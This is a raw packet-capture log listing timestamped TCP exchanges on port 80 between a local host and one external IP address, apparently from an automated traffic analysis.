Oct 8, 2024 02:45:30.716753006 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.716801882 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.716916084 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.716962099 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.716968060 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.717008114 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.717019081 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.717056036 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.717612982 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.717645884 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.717662096 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.717679024 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.717684031 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.717714071 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.717715979 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.717746973 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.717751026 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.717787027 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.717855930 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.717889071 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.717902899 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.717926025 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.717938900 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.717971087 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.717976093 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.718004942 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.718008995 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.718039989 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.718331099 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.718375921 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.718390942 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.718427896 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.740588903 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.745726109 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.970834970 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.970890999 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.970923901 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.971026897 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.971059084 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.971076965 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.971091032 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.971127033 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.971148968 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.971148968 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.971149921 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.971167088 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.971184969 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.971199036 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.971214056 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.971231937 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.971247911 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.971287966 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.971307039 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.971354961 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.971357107 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.971404076 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.971432924 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.971438885 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.971453905 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.971472025 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.971493959 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.971506119 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.971513987 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.971558094 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.971631050 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.971674919 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.971679926 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.971713066 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.971735001 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.971756935 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.971952915 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.971982002 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.972004890 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.972027063 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.972641945 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.972691059 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.972703934 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.972721100 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.972738981 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.972762108 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.972783089 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.972815037 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.972821951 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.972847939 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.972852945 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.972881079 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.972887993 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.972934961 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.972959042 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.972990990 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.973007917 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.973030090 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.973067045 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.973102093 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.973115921 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.973140001 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.973206997 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.973237991 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.973268986 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.973273993 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.973273993 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.973298073 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.973309040 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.973331928 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.973342896 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.973365068 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.973373890 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.973412037 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.973428011 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.973459959 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.973474979 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.973501921 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.973613024 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.973661900 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.973664999 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.973692894 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.973706007 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.973731041 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.973825932 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.973859072 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.973877907 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.973891020 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.973900080 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.973923922 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.973942041 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.973956108 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.973963976 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.974000931 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.974018097 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.974049091 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.974062920 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.974082947 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.974088907 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.974114895 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.974133968 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.974148035 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.974159002 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.974181890 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.974198103 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.974222898 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.974301100 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.974333048 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.974356890 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.974378109 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.974792004 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.974847078 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.974874973 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.974908113 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.974930048 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.974951029 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.974998951 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.975030899 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.975054979 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.975064993 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.975076914 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.975099087 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.975115061 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.975131989 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.975138903 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.975178957 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.975198984 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.975229979 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.975244999 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.975275993 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.975308895 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.975338936 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.975362062 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.975370884 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.975379944 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.975434065 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.975441933 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.975475073 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.975492001 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.975518942 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.975554943 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.975586891 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.975600004 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.975620031 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.975625992 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.975651979 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.975667953 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.975684881 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.975697994 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.975728035 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.975809097 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.975840092 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.975863934 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.975872993 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.975882053 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.975905895 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.975920916 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.975939989 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.975951910 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.975974083 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.975986004 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.976006031 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.976021051 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.976056099 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.976058006 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.976090908 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.976108074 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.976125002 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.976131916 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.976159096 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.976170063 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.976196051 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.976207018 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.976243019 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.976246119 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.976279020 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.976294041 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.976311922 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.976324081 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.976345062 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.976361036 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.976378918 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.976391077 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.976427078 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.976840973 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.976898909 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.976908922 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.976941109 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.976959944 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.976972103 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.976980925 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.977020025 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.977020979 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.977054119 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.977068901 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.977087021 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.977099895 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.977134943 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.977166891 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.977199078 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.977216005 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.977231026 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.977238894 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.977263927 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.977278948 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.977298021 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.977314949 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.977338076 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.977345943 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.977380037 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.977395058 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.977412939 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.977418900 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.977459908 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.977494001 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.977541924 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.977543116 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.977576971 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.977585077 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.977610111 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.977622032 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.977642059 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.977654934 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.977674007 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.977691889 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.977706909 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.977710962 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.977739096 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.977754116 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.977772951 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.977783918 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.977806091 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.977819920 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.977857113 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.977858067 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.977889061 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.977904081 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.977921963 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.977927923 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.977953911 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.977967978 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.977988005 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.977998972 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.978022099 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.978035927 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.978065014 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.062251091 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.062323093 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.062530994 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.062580109 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.062587023 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.062613964 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.062622070 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.062645912 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.062655926 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.062680006 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.062688112 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.062711954 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.062722921 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.062746048 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.062753916 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.062778950 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.062788010 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.062820911 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.062829018 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.062861919 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.062874079 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.062896013 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.062903881 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.062927961 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.062936068 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.062959909 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.062968969 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.062997103 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.063002110 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.063030958 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.063039064 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.063062906 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.063071012 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.063096046 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.063103914 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.063127995 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.063136101 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.063160896 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.063168049 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.063194990 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.063203096 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.063236952 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.063994884 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.064043999 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.064047098 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.064075947 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.064090967 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.064119101 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.064127922 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.064161062 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.064172029 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.064193964 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.064203024 CEST	51293	80	192.168.2.4	95.164.90.97
